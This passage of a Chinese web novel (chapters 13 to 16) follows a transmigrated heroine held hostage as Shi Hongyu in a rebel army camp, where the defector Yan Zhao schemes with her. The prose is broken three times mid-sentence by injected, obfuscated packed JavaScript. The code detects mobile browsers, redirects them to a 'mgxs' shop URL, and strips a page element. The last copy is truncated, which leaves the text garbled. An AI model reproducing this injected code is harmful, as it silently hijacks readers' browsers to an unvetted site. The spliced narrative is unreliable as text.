“你摸着良心说,没有铁屏寨,你早就不知道饿死在哪条沟里了,还能站在这里,人模狗样地当叛徒?!” “你以为投靠了卢宁军就能飞黄腾达?我告诉你,背主求荣的东西,到哪儿都是狗,永远上不了台面!” “我爹真是瞎了眼,当初就不该管你!像你这种骨子里就冷血的混蛋,根本养不熟!” 苗悦骂得累了,感觉更饿了,停下来喘口气。 贺连川双臂抱胸,看得津津有味。 他原是卢宁军神弩营指挥使,麾下儿郎皆是百战边兵。奈何朝廷连年欠饷,上官层层贪墨,逼得底下人活不下去。 他一怒之下,带着几个心腹弟兄杀了贪墨的监军,反出军营,从此流窜各州,专靠攻城劫寨过日子。 这帮人本就是戍边多年的老卒,刀头舔血,个个都能打。更关键的是,他们叛逃时,几乎卷走了卢宁军最精锐的家底,整整一营的弩军。 那支弩军是朝廷为对付北边游牧骑兵专门训练出来的,配有当今最强制式军弩,以及几百名熟练弩兵。 凭着这份家当,贺连川虽只有不到三千兵马,却成了一股令周边州县头疼的悍匪。 月前,他们听闻临峣城刚换了城主,新城主乃山贼出身,手下不过是一群啸聚的流民散勇,看似人多,实则没什么战力。 一群乌合之众,占了富庶城池,岂能不招人觊觎。贺连川当即动了心思,点齐人马,直扑临峣城。 临峣城有原本的两千官兵,再加上石关山自己的近万寨民,兵力数量上远多于卢宁军。 贺连川深知这一点,为免强攻损失太大,他利用了临峣城的软肋。 临峣城虽有四门,但唯有东、南两门连接官道,是粮草补给和人员往来的命脉。 贺连川将精锐弩手埋伏于此,截断了城内外的主要联系。 弩箭射程远、威力大,守军敢冒头或试图突围,便会遭到精准狙杀。这种强大的远程压制,使得城内守军龟缩不出。 即便有人能从西北两处偏僻小门溜出求援,石关山匪帮出身,在官府和周边势力中毫无根基,根本无援兵可搬。 石关山夺城后,治理手段仍如土匪,抢夺豪绅,盘剥百姓,并不得人心。 原刺史麾下的朝廷老兵多不愿为其死战,听调不听宣。临峣城号称有近万守军,实际服从指挥能战斗的,不过三五千人。 靠着这几点,贺连川以区区三千人马将临峣城困得动弹不得。 然而,困城易,破城难。 贺连川心里清楚,自己这三千人马虽是精锐,但若是强行攻城,面对据险而守的数千人,即便能胜,也必然是杀敌一千自损八百的惨胜。 就在双方僵持的当口,老天爷送来了两份“大礼”。 第一份礼,是一个叛逃出来的巡城小兵。 这小兵官职卑微,却因常年负责夜间巡防,对城内布防、粮仓位置、乃至几条鲜为人知的隐秘暗道都了如指掌。 贺连川还未决定此人是否可信时,第二份大礼自己送上了门,就是石关山的独生女,石红玉。 一个熟知内情的叛卒,一个敌军将领唯一的孩儿,僵局瞬间被打破,主动权向贺连川倾斜。 贺连川此时心情轻松,笑呵呵地摸着下巴:“你这丫头长得挺俊,嘴皮子是真厉害。”他转头看燕钊,“我听说她已经这样骂你两天了。” 燕钊垂首立于一侧,姿态恭顺,回道:“她是石关山唯一的女儿,从来说一不二,稍有不如意就会破口大骂,属下早已习惯。” 贺连川摇头,略带欣赏道:“也不能这么说。她一个小姑娘,敢单枪匹马往阵前冲,这份胆气本就难得。”随即话锋一转,“可惜了。我已经给你爹去了信,若他三日内开城投降,我便将你完好无损地送回去。” 苗悦立刻怒道:“我爹英雄一世,才不会向你这狗贼投降!” 贺连川冷笑道:“那我就只好用你阵前祭旗了。” 他走到帐口,正要出去,脚步一顿,侧过半张脸,瞅着燕钊。 “在她爹回信前,这丫头就交给你盯着。你俩那点过节,我心里有数。但眼下,她是老子手里最重要的筹码,把人伺候周全了。” 贺连川说完,出了营帐,没走多远,迎面撞上了副手高世衡。 “怎么样,有回信了吗?”贺连川劈头便问。 高世衡摇头:“哪有这么快。石关山再怎么疼女儿,也不至于为了一个女子就拱手投降。孩子以后还能再生,何况只是个女儿。你想想,若是你女儿被敌人拿住,要你献出全城去换,你能答应吗?” 贺连川还真想了想,随即摆手道:“老子媳妇都没有,哪来的女儿。你别跟老子绕弯子,咱们现在占着先手,就得逼他做决断。” 高世衡无奈地斜他一眼:“我早说过,不如直接索要一笔银钱更稳妥。围城战打的就是粮草和耐心,我们得了钱,补充给养,就在这里稳稳地围着。城内人心惶惶,缺粮少药,最先撑不住的肯定是他们。” 贺连川不以为然道:“他开城投降,我们进去接管,这城里的金银还是我们的。他不同意,咱们再要银子。总归他女儿在咱们手上,横竖咱们不亏。” 高世衡哼了声,问:“那丫头怎么样了?” 贺连川脸上露出玩味的笑容:“精神好得很,骂起人来中气十足,带劲得很,呵呵呵。” 高世衡道:“看来,陈狗娃那小子倒是没唬我们。” 贺连川问:“你觉得他的话可信?” 高世衡道:“大丈夫生而为人,谁不想建功立业?他在石关山手下,一直得不到重用,还屡屡被那小丫头羞辱。换做是我,也会另寻明主。而且那日在战场上,他稍微放点水,咱们也抓不住石红玉。” 贺连川听后,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16768330|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “若石关山不肯投降,我就让那小子亲手杀了石红玉,断了他的后路,我也能彻底相信他。” 高世衡拧眉:“说了要拿人换银子!杀人只能图一时爽快,银子才是最重要的。” 贺连川连连称是:“我就是习惯了,随口一说。那丫头的小模样,真杀了我还舍不得。” 高世衡听了直叹气。 军帐里,贺连川离开后,苗悦紧绷的身体放松下来,长舒一口气。 再一抬眼,对上了燕钊。 帐内只剩下他们两个人,沉默弥漫开来。 苗悦发誓,她绝对从燕钊那张向来没什么表情的脸上,捕捉到一次极轻的吐息。 他叹气了。 即使动作微不可察,只是肩膀极轻地沉了一下,但苗悦看出来了。 能让这个心机男孩无奈叹气,石红玉有点本事。 燕钊抿着薄唇,视线移向空无一物的角落,似乎在思索该如何处理这个烫手山芋。 片刻后,他走到苗悦身后,半蹲下来,假意检查她腕上的绳结,压低了声音问:“你是怎么打算的?” 苗悦没明白他什么意思。 燕钊声音更沉:“你既然单枪匹马冲上来,应该想到过眼下的情景。你的后手是什么?需要我做什么?” 后手? 苗悦立刻在石红玉记忆里搜寻。 她将整个事件的来龙去脉仔细过了一遍,得到一个让她无语的结论。 根本没有后手。 这身华丽又实用的轻甲,是石关山送给石红玉的礼物,但她只在教武场上有机会穿。石关山严禁她上真正的战场,这让她一直憋着一股劲。 这次,燕钊用“诈降计”让她吃了哑巴亏,新仇旧怨叠加,怒火冲昏了头脑。 石红玉自信地认为,凭自己练了多年的武艺,就算不能速胜,缠斗一番总没问题。正好可以借此机会,在两军阵前狠狠教训那小子一顿,既出了恶气,又能显威风! 退一万步讲,燕钊是“假叛变”,即使自己打不过,他还敢伤她不成。 于是,在所有人都没反应过来时,石红玉穿上那身最心爱的铠甲,单骑冲了出去。 不过三五招,她就被燕钊干脆利落地生擒活捉。 就在被反剪双手、死死按在马鞍上的那一刻,石红玉心里第一反应不是恐惧,而是“坏了!这家伙根本不是诈降!他是借诈降之名,真心投靠卢宁军了!” 否则,他怎敢如此毫不留情地对“横山公主”下手? 这个念头,让她在每一次破口大骂时,都充满了真实的恨意。 后手?哪来的后手。 一腔孤勇和对自己武艺的盲目自信,就是石红玉全部的计划。 见苗悦半天不出声,燕钊抬起头,身体微微前倾,试图看清她的表情,语气里带着难以置信的探究。 “你……不会根本没有计划吧?” 苗悦认真地想了想目前的处境,然后侧过头,看着近在咫尺的燕钊,不好意思地开口。 “能给我找点吃的吗?” 14.第 14 章 燕钊打心底里,瞧不上石红玉。 她仗着父亲宠爱,明明没什么真本事,却总想在人前出风头,行事冲动不计后果。 在这人命如草芥的乱世,像石红玉这般活法,若非有个当山大王的爹,早就不知死了多少回了。 如果可以,燕钊希望永远不和这类人有瓜葛。 然而,石红玉被抓进卢宁军大营后的两天一夜,倒让他有些刮目相看。 她骂起人来中气十足,字字句句带着狠劲,毫无惧色,透着一股子不怕死的硬气。 燕钊不得不承认,这丫头虽鲁莽,但骨子里确有几分常人不及的悍勇。 可方才石红玉那句“能给我找点吃的吗”,瞬间浇熄了燕钊心头刚升起不久的“刮目相看”。 不怕死的劲儿,或许并非源于坚韧,仅仅是因为没尝过真正的苦头。 这才是做事毫无章法没有任何计划的石红玉。 这个认知让燕钊感到一阵烦躁。 他原本还抱着一丝侥幸,以为石红玉再怎么莽撞,既然敢单枪匹马冲阵,总该留了后手,此刻才彻底明白,自己真是想错了。 燕钊在心里嗤笑一声,收敛心绪,目光重新落在苗悦身上。 “你最好趁这两天,仔细想一想,接下来要怎么办。等大当家拒绝投降后……” 燕钊没再往下说,他认为石红玉应该能明白。 苗悦驳道:“你凭什么那么肯定,我爹待我如何,我最清楚!” 燕钊扯了下嘴角:“他若为你一人开城投降,那他也不配被人追随效忠。” 苗悦怒瞪他。燕钊毫不客气地回视。 苗悦忽然觉得,十岁的燕钊虽然阴沉,但还是有可爱的时候,比眼前这个不服管的好多了。 “一个年轻姑娘落在敌军手里,会是什么下场。”燕钊语气平平道,“你最好明白。” 苗悦当然明白。 若她真是石红玉,此刻怕是已吓破了胆,但她不是。 这具身体死了,她还可以换一个,虚拟世界,玩得就是个体验。 只是可惜浪费了这次接近燕钊的机会,还无法保证下次穿成什么人。 燕钊一辈子南征北战,身边人哪有什么安生日子可过? 前两次穿的林菱和陈阿大,一个懦弱,一个邋遢,她都不满意,而石红玉年轻、健康,还有个护短的爹,十分难得。 如果可以,她想博一把,不死最好。 燕钊见她沉默,又道:“我再提醒你一句。我现在的身份,是从临峣城叛逃的小卒,若贺连川真要杀你祭旗,动手的人,很可能是我。” 苗悦闻言,瞥了他一眼:“我知道你下得去手。” 燕钊见她这般反应,不再多言,转身朝帐外走去。 苗悦脱口:“哎,你去哪?” 燕钊脚步一顿,皱着眉回头:“找吃的。” 临峣城,议事厅内,气氛凝重得能拧出水来。 刺史府原有的雕花门窗紧闭,几盏兽头灯在角落里跳动着昏黄的光晕,映得每个人的脸色都阴晴不定。 石关山坐在主位的太师椅上,身姿如山,纹丝不动,手中紧紧攥着贺连川送来的那封信,指节因用力而微微发白。 大厅中央,程虎双眼通红地叫着:“我们不能这么干坐着!红玉还在贼营受苦,咱们得去救她啊!” 这个十七八岁的少年,身高体壮,已显出其父的雏形,但眉眼间还带着少年的稚嫩和浮躁。 右下首的椅子上,一身青灰长衫的三当家何文远哼了一声,习惯性地用指尖轻敲桌面。 “你的意思是,接受贺连川的条件,开城投降,将大当家和我们弟兄们拼杀来的基业拱手送人?” “我……我不是这个意思!”程虎气势一窒,梗着脖子道,“我是说点齐人马,杀过去,直接冲营,把红玉抢回来!” 何文远嗤笑一声,指尖重重一叩。 “出了城门,不是山就是林。你知道卢宁军大营扎在何处?弩手埋伏在哪个山头?嘴巴一张就让兄弟们去硬冲,那是救人?那是送死!” “那怎么办?!”程虎急得额头青筋暴起,“难道我们就这么干看着?!” “你给老子闭嘴!”程铁牛终于忍不住,朝着儿子一声怒吼,“那陈狗娃是个什么货色?瘦得跟芦柴棒似的。你整天在教武场上耍威风,真到了节骨眼,自己伤了不说,还让他当着你面掳走了红玉!老子的脸都让你丢尽了!” 他说着,拿起手边的大茶碗朝程虎的伤腿砸过去。 程虎拖着伤腿蹦开,躲过一劫,委屈地辩解:“我是为了护着红玉……” 程铁牛冷哼一声:“那陈狗娃就是有问题。他但凡念一点旧情,稍微放点水,也不至于抓走一个又伤了一个,分明是下了死手!” 他转向石关山:“大哥!我早看那小子不顺眼!十岁就敢弑父的人,你能信他?我看他是真想投靠卢宁军,什么‘苦肉计’根本就是托词。” 何文远捋了捋颌下稀疏的短须,皱眉道:“二哥,你这么说可就不对了,这事是咱哥仨一起点头的,本就是情急之下的无奈之举。临峣城几千老兵一直不怎么听话,再让卢宁军围下去,城内必生大乱。再说,陈狗娃要叛出,他尽管去就行了,何必整出个‘苦肉计’瞎折腾。站场上,卢宁军眼皮底下,他一放水整个计划就白费了。这事……” 他看向主位上一直沉默不语的石关山,语气一转,婉言道:“大哥,我必须得说一句,这次若能把红玉救回来,你真要好好管管她了。战场非同儿戏,岂是她能任性胡闹的地方?” 这话戳中了程铁牛的心思,他哼了一声,也看向石关山。 “大哥,你发句话吧。大不了,临峣城不要了,咱还回铁屏寨当山匪去。” 程虎立刻附和:“对!大当家,咱们还回铁屏寨去!” “回铁屏寨?”何文远细长的眼睛瞥了程虎一眼,语带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16776254|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讥诮,“你以为铁屏寨想回就能回?我们得了临峣城,又轻易弃之,城中几千归降的官兵会怎么想?那些被咱们搜罗过的富户又怎么想?只怕第一时间就会联合起来杀了咱们。” “这不行那不行,好,你们不救,我自己去救。”程虎焦躁地原地直跳,“我就不信了,月黑风高的,还摸不进一个营盘!” 石关山微微一震,抬眼看向程虎。 “你给老子闭嘴!”程铁牛又一个茶碗摔过去,“这里哪有你说话的份。” 何文远啧道:“谁说不救了,这不正在商量。” 厅中吵成一团。 石关山终于有了动静,他用指关节不轻不重地叩了两下桌面。 声音不大,却让喧闹的议事厅安静下来,所有人都看向他。 石关山目光扫过程铁牛父子,落在何文远脸上,声音沉稳。 “红玉是我的女儿,她鲁莽冒进,是我管教不严。但投降,绝无可能。” “这件事,到此为止,不必再议。” ** 苗悦嚼着饼,眉头皱成一团。 “这饼也太难吃了,又干又硬,我以前吃胡饼,都要重新烤软了才行。” 燕钊将饼扔回盘子,冷道:“这里只有这个,不吃就算了。” “我哪说不吃了。”苗悦语带不满,“抱怨两句,发发牢骚还不行吗?你把它掰开,在热水里泡一泡再喂我。” 燕钊站着没动,脸上是显而易见的不耐烦。 苗悦提醒他:“贺连川可发话了,让你‘伺候周全’。我不过是让你把饼泡软了喂我,这要求不过分吧?” 她动了动胳膊,示意他:“要不你把绳解了,我保证不跑。” 石红玉的保证燕钊哪敢信。 他闭了闭眼,深吸一口气,认命般地坐下,拿起饼,掰成小块,放进热水碗里,待饼块变得绵软,再用木勺舀起,递到苗悦嘴边。 苗悦吃下一口,疑惑道:“卢宁军真这么穷?昨晚就是这个,今中午还是,一点肉星都没有?” 燕钊眼皮都没抬,淡淡地回了一句:“等大当家开了城门,自然就有肉了。” 苗悦被这话噎了一下,又白他一眼,忽然压低声音。 “你昨天让我想想后面怎么办,我想了一夜,还真想出个法子,你帮我参详参详。” 燕钊动作一顿,看向她。 苗悦示意他靠近些。 燕钊皱眉,侧身凑近些许。苗悦在他耳边嘀嘀咕咕说了一通。 燕钊听完,眉头锁得更紧,盯着她:“你觉得这法子可行?” 苗悦迎着他的目光:“总得试试吧,万一成了,我还能接着当我的‘横山公主’呢。” 燕钊依然不解:“你怎么会想到这种办法?” 苗悦挑眉,不明白他什么意思。 燕钊有些尴尬,清清嗓子,说:“我是说,你这个年纪,怎么……算了,按你说的试试吧。” 15.第 15 章 燕钊端着那碗泡过饼的水,出了营帐,驻足思索,片刻后转身,朝高世衡的营帐走去。 高世衡正躺在摇椅里小憩,不时咳嗽几声。 那年随贺连川叛出卢宁军时,他为保护贺连川胸口中了一箭,从此便无法平躺入睡,稍一压着心口就咳得撕心裂肺。 贺连川特意备了这张摇椅,行军扎营都替他带着。 那一回死里逃生,也让高世衡看开了许多,什么功名利禄都是虚的,自己痛快才是真。 见燕钊进来,高世衡稍稍撩起眼皮,懒懒地问:“什么事?” 燕钊瞅着碗,为难道:“高将军,石红玉嫌饼太难吃,闹着要肉。” 高世衡嗤笑:“谁不想吃肉?” 燕钊微微躬身,显得更为难:“属下明白。只是若不依她,她要么破口大骂,要么绝食。贺将军特意吩咐,要属下‘伺候周全’。” 高世衡笑了笑:“我倒是听说了,那小辣椒嘴皮子厉害得很。也是难为你了,再忍两日,等她爹拒信到了,此事便算了结。” 燕钊抬起头,看向高世衡:“高将军也觉得,石关山不可能开城投降?” 高世衡挑眉:“哦?你也这么看?说说你的道理。” 燕钊姿态恭谨:“属下只是一个巡城小队长,平日接触的不过是些巡防治安、盘查往来的琐事,从未参与过核心议事。各位当家的心思,岂是属下这等微末之人能够妄加揣测的。” 高世衡闻言,呵呵一笑。 “巡城小队长,日日夜夜行走于市井街巷,对城中的风吹草动、人情纠葛最为敏锐。今日在此,就你我二人,但说无妨。” “是。”燕钊低声分析道,“属下觉得,临峣城里原来那几千官兵,压根不会听石关山的。他要是敢投降,那些人肯定跳出来造反,自己先打起来。铁屏寨三位当家各有心思,也并非铁板一块。” 这话勾起了高世衡的兴趣。 他指了指旁边的凳子:“详细说说,怎么叫各有心思?” 燕钊谢过,并未坐下,继续道:“石关山仅有石红玉一个女儿,再无其它子嗣。寨主之位的继承,一直是悬而未决的大事。” 高世衡点点头,表示知道。 燕钊又道:“二当家程铁牛的儿子程虎,与石红玉一同长大,对其言听计从。程铁牛一直以为,其子会娶石红玉,将来顺理成章继承铁屏寨,但石关山始终未松口。” “为何?” “因为石红玉不同意。”燕钊语气平常,仅仅在陈述事实,“她心仪的是能征善战、有勇有谋的大丈夫,而非程虎那般唯命是从的跟班。也因此,程铁牛心中对石关山父女,早有诸多不满,认为石红玉既瞧不上他儿子,却又对程虎呼来喝去,是在折辱他的脸面。” 高世衡的眼神微微闪动,人也从摇椅上坐起来,颇为感兴趣。 燕钊趁热打铁道:“三当家不甘于二当家之后,但他是个书生,手下无兵,便是有怨也无可奈何。” “那你觉得,”高世衡饶有兴致地问,“谁有可能继承石关山的位置?” 燕钊想了想说:“其实早几年,铁屏寨中一直有个说法,谁娶了石红玉,谁便是石关山默认的继承人。但此一时,彼一时。如今石关山已占据临峣城,官位等同于刺史,是实实在在的一方之主,眼界早已不同。昔日寨中那些老兄弟,怕是难入他眼了。” 高世衡琢磨着:“他看不上自家兄弟,难道会去外面找女婿?” 燕钊道:“铁屏寨盘踞多年,劫掠富户,本就积蓄颇丰。上次兵不血刃拿下临峣城,更是完整接收了府库钱粮,其积蓄之巨,远超想象。这两年,陆续有人入城提亲,光是属下便迎过三次,只是都被石关山拒绝了,估计也是考虑到寨中其它弟兄的想法。” 高世衡眯着眼说:“看来这石红玉比我们想的还要重要。” 燕钊看他一眼,又低下头。 “高将军说的是。只要杀了石红玉,石关山膝下再无子嗣,临峣城这块肥肉便成了无主之物。觊觎此位的各方势力将彻底撕破脸,陷入混战。我们只需继续围城,待其内乱,便可不战而胜。” “你没见过城乱吧。”高世衡扯扯嘴角,“一旦乱起,城中积蓄的钱粮会第一时间被抢夺、藏匿甚至焚毁。到那时,我们即便破城,所能得到的,恐怕也不多了。” 燕钊垂首道:“是属下愚钝。” 高世衡站起来,走到燕钊身边,盯着他。 “处死石红玉事关重大,依你之见,该如何行事,方能收震慑之效,令其价值尽为我所用?” 燕钊道:“可将石红玉缚于战车之上,驱车缓行,绕临峣城示众。同时,遣嗓门洪亮之士,于城下历数石关山背信弃义、罔顾亲女之罪,挑拨石关山与其兄弟间情谊。待巡城完毕,不必急于处死,将其高悬于旗杆之上,曝于两军阵前。令守城军民睹其状,闻其声。” 高世衡听至此处,眉头微蹙。 他并非心慈手软之辈,但这番言论,狠辣决绝,已近乎酷吏所为。 行事果断、不拖泥带水自是良将之材,可这少年郎,未免太过阴鸷,不留半分余地,对旧主之女能毫不迟疑地使出这般诛心绝户之计,着实令人心惊。 心硬如铁,可用,却不可不防。 高世衡垂下眼睑,掩去眸中一丝忌惮。 “好了,你出去吧。” 燕钊领命退下。 高世衡又叫住他:“晚饭给她加些肉。” 这天晚上,饭来的有些迟。 帐外早已听不见人声马嘶,巡夜士兵的脚步声也变得稀稀落落。 苗悦靠在柱子上,百无聊赖地数着帐布上的纹路。 帐帘掀动,燕钊端着木盘走了进来。 苗悦立刻坐直了身子:“怎么这么晚?我还以为要饿肚子了。” 燕钊将木盘放在她面前:“给你找肉去了。” 苗悦眼睛一亮,果见盘中除了惯常的硬饼,还多了一小碗炖肉。 肉块切得不大,汤汁浓稠,泛着油光。 她吸了吸鼻子,久违的肉香钻入鼻腔。 苗悦下意识想伸手,手腕却被粗糙的麻绳一勒,磨破的伤口传来一阵刺痛。 “嘶——”她倒抽一口冷气,抬头望向燕钊,可怜兮兮,“能不能先给我松一下?就一会儿,让我吃完这顿饭。吃完你再绑上。” 见燕钊面无表情,她急忙补充:“我跑不掉的,你也知道。这大营里里外外都是卢宁军,我能跑到哪儿去?再说,为了咱们的苦肉计,我也不能这么傻对吧。” 燕钊的目光落在她脸上,充满审视。 “这不像你能说出来的话,我觉得你这两天变化很大” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16789493|189686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苗悦不慌,叹了口气:“换作任何一个人,被捆在这里等死,眼看着因为自己的冒失险些毁了全盘计划,连累父亲和兄弟们……都会想明白的。过去的石红玉,根本没被逼到过这个份上。如今刀架在脖子上,再蠢的人,也该开窍了。” “再说,你很了解我吗?”她直视燕钊,“我现在想的很简单,保命,然后弥补我捅出的篓子。” 燕钊默然。 这套说辞听上去还算合理,而且,他确实没那么了解石红玉。 他没再说什么,沉默地走到她身后。 绳结散开,露出女孩腕上的血痕和破皮,坏掉的皮肉把麻绳磨出暗红色。 她这两日竟未吭过一声。 这人当真古怪,忍得下皮肉之苦,惧不畏死,却又对吃食斤斤计较,絮叨不休。 苗悦紧盯着那碗泛着油光的炖肉,喉头不自觉地动了动,不忘问正事。 “你跟他们说了吗?” “说了。”燕钊一边解绳子一边回答她。 腕上一松,苗悦大喜,正欲伸手端碗。 帐外突然传来一阵喧哗,伴随着急促的脚步声。 声响传来的同一瞬间,燕钊手如铁钳猛地扣住她刚获自由的胳膊,力道惊人。 剧痛让苗悦险些叫出声。 不等她反应,燕钊另一只手已抓起地上的麻绳,一抖一绕,不过眨眼工夫,便将她双手重新死死缚住。 动作比她这个职业神偷都快。 燕钊将她绑好后迅速起身,来到她前面。 同一时间,帐帘被人猛地掀开。 贺连川怒气冲冲地闯进来,面色铁青。 燕钊立刻垂首退至一旁,恭敬道:“大帅。” 贺连川看都没看他,盯着苗悦,眼中杀意凛然。 “好个石关山!妄想夜袭我大营,当我贺连川是泥捏的不成!”他往前几步,“既然你爹不讲信义,就别怪我心狠。明日一早,便拿你祭旗,我看他能奈我何!” 他低头,一脚踹翻地上的肉碗,转头骂燕钊:“谁准你给她肉的!饿着她!” 说完,他气呼呼转身,大步离开。 高世衡匆匆跟入帐内,看了眼满地狼藉,又匆匆追着贺连川出去了。 苗悦惊魂未定,看向燕钊:“你不是说,跟他们说过了吗?” 燕钊站在原地,垂头思索,阴影遮住了他大半张脸。 “我跟高世衡说了。”他顿了顿,“我去看看发生了什么事。” “哎。”苗悦叫住他,努力维持着镇定,“如果……如果明天动手的人是你,我拜托你,下手狠一点,给我个痛快。” 燕钊霍然转身看向她。 烛光下,少女面色苍白,眼神里却是一片平静。 这个被父亲庇护得太好的大小姐,此刻竟能如此冷静地为自己安排一个“痛快”的死法。 燕钊发现自己从未真正认识过石红玉。 他不希望石红玉死,尤其不能死在他手上。否则,即便“诈降”之计成功,他亲手斩杀石关山爱女这件事,也会永远扎在铁屏寨人心里,让他再无立足之地。 “你等我消息。”他沉声说,掀帘而出。 帐内彻底安静下来。 苗悦蜷缩在原地,怔怔地望着未曾入口的肉块,暗自叹息。 太浪费了。 16.第 16 章 贺连川冲出营帐,大步流星向前走,高世衡快步追上。 “你不必再劝!”贺连川头也不回,“石关山敢夜袭我大营,便是与我彻底撕破脸!明日一早,我必杀其女祭旗,定要让他痛不欲生!” 高世衡紧跑两步,与他并行,竭力劝道:“杀她容易。可杀了之后呢?届时我们手上没了筹码,只能强攻。咱们的粮草能撑多久,你不是不知道。” 贺连川怒吼:“那又如何!大不了换个地方,天下城池多的是,哪个不能抢!” “若只为抢掠求生,何必费这么大周折。”高世衡声音也扬了起来,“从一开始就应该用石红玉换银子,你非要逼石关山投降,如今他不降,你就要杀人泄愤。咱们一群无国无家的,起兵究竟为了什么?不就是为了给弟兄们谋个富贵生活吗?” 他抚着胸口,顺了顺气,继续道:“石红玉是石关山的命根子……” 话未说完,高世衡一阵猛咳,脸色煞白,身体晃了晃。 贺连川见状,怒气消去大半,忙扶住他。 “说话就说话,你急什么。” 高世衡借力站稳,缓了片刻,才低声道:“石关山敢为她独闯军营,足见其分量。” “行了行了,你不用劝了。”贺连川打断他,“不就是拿人换钱么,听你的就是。” 高世衡看他一眼,缓缓道:“换钱自然是要换的。但怎么个换法,其中大有讲究,还需细细斟酌。” 贺连川不耐烦地一摆手:“有什么可斟酌的,明日再送一封信去,让他们拿银子来赎人便是。” 高世衡摇摇头:“你就没想过,还有另一条路可走?” “什么路?”贺连川皱眉。 “我昨日便有个念头,本想思虑周全再跟你说,不想被石关山给搅乱了。”高世衡抬眼,“也好,趁这个机会,我便斗胆直言。你觉得,如果石红玉安然无恙回去了,石关山那份偌大的家业,将来会落在谁的手里?” 贺连川下意识地顺着他的话琢磨,道:“估计是便宜了哪个不知从哪儿冒出来的黄毛小子。” 高世衡眼底精光一闪,抓住贺连川的话尾,反问:“将军既知会便宜外人,何不……” 贺连川回过味来,瞪大双眼:“你要我娶那个黄毛丫头?” “你当她是寻常丫头?”高世衡寸步不让,“以石红玉的样貌,再加上石关山如今的地位,你这种身份,连提亲的资格都没有。现在老天爷把人送到你跟前了,你却只想着打打杀杀,真是暴殄天物!” 贺连川沉默片刻,颇有顾虑:“我若娶她,岂非矮了石关山一头,倒像是我求着他一般。” “一时高低算得了什么。”高世衡道,“待大军入了城,财物地位,皆是后话,大可徐徐图之……” 两人一边说话,一边进了贺连川营帐。 灯烛亮起,彻夜未熄。 同样一夜未眠的,还有苗悦。 坐以待毙不是她的风格,她在想自己还能做些什么。 她原本的计划有极大成功可能。毕竟,谁能拒绝一个年轻、貌美、有性格,还带着巨额嫁妆的女子示好。 但这个计划突然被打乱了。 苗悦闭上眼。石红玉记忆中的父亲,与她在陈家村见到的那个山匪头子渐渐重叠。 依旧是清瘦身量,浓眉如刀,只是眼神截然不同,一个是看女儿时近乎笨拙的温柔,一个则是审视与冷厉。 “明日祭旗”四个字,像个小石头硌着苗悦心尖。 这里是记忆世界,心理上她不怕死,但生理上,刀斧加身的滋味没人能坦然面对,更何况是痛快一刀还是零碎折磨,完全取决于贺连川一念之间,由不得她。 不过与恐惧相比,苗悦更多的是遗憾。 她浪费了“石红玉”这个绝佳的身份,若能早几天穿来,她便可与燕钊配合演好苦肉计,之后继续留在石关山身边过好日子,甚至有机会用石红玉的身体走完记忆世界全程。 这一次错过了,下一次不知何时何地,随着燕钊年纪渐长,经历越多,心志只会越发坚定,到时想用洗脑的方式影响他,难上加难。 思来想去中,天光大亮,苗悦仍没想到更好的办法,她开始琢磨如何利用最后的机会,再对燕钊进行一次洗脑。 临近午时,苗悦等得打起了瞌睡。 燕钊端来了食物,有饼有肉。 “断头饭?”苗悦问。 燕钊道:“事情有变,你的计划好像能成。” 苗悦眼一亮,心情也好了。 “昨天到底发生什么事了?” 燕钊道:“大当家单枪匹马来救你,中了箭,又被二当家救回去了。” 苗悦问:“伤得重吗?” “不清楚。”燕钊道,“今天贺连川和高世衡可能会来见你。记住,你要装作不知情。” 苗悦点头:“我懂。” 她抬了抬下巴,示意道:“把肉夹到饼里,饿死我了。” 燕钊看了看她,又看了看盘中的肉饼,没动手,反将盘子往里缩了缩。 苗悦诧异:“难道不是拿来给我吃的?” 燕钊道:“石大小姐不惧生死,更不屑于临刑前吃敌军的粮食。此时狼吞虎咽,容易惹人生疑。” 苗悦傻眼,瞬间转过弯来。 一个知道自己快死,又心高气傲的大小姐,这会儿应该绝食明志才对,哪会像她这样惦记着肉炖得香不香。 苗悦脸上那点期待瞬间褪去,狠狠瞪了肉饼一眼,又狠狠瞪了燕钊一眼,把吃不上肉的憋屈都撒在了这道目光里。 “滚远点!”她大声喝道,“我石红玉就是饿死,也不吃你们一口东西!” 帐帘应声而开。 高世衡鼓着掌走进来,脸上带着一种恰到好处的赞赏。 “不愧是石大当家的独女,果真虎父无犬女,有骨气。” 他的视线在帐内扫了一圈。 燕钊端着盘子,面无表情地站在旁边,眉宇间隐有一丝不耐。 石红玉绑缚在地,发髻散乱,一双眼睛因愤怒格外明亮,衬得那张年轻的脸庞生气勃勃。 高世衡不由暗叹,年轻真好,再想想自家那个年过三十、脾气火爆、行事只图一时痛快的大帅贺连川,忽然觉得有些惋惜。 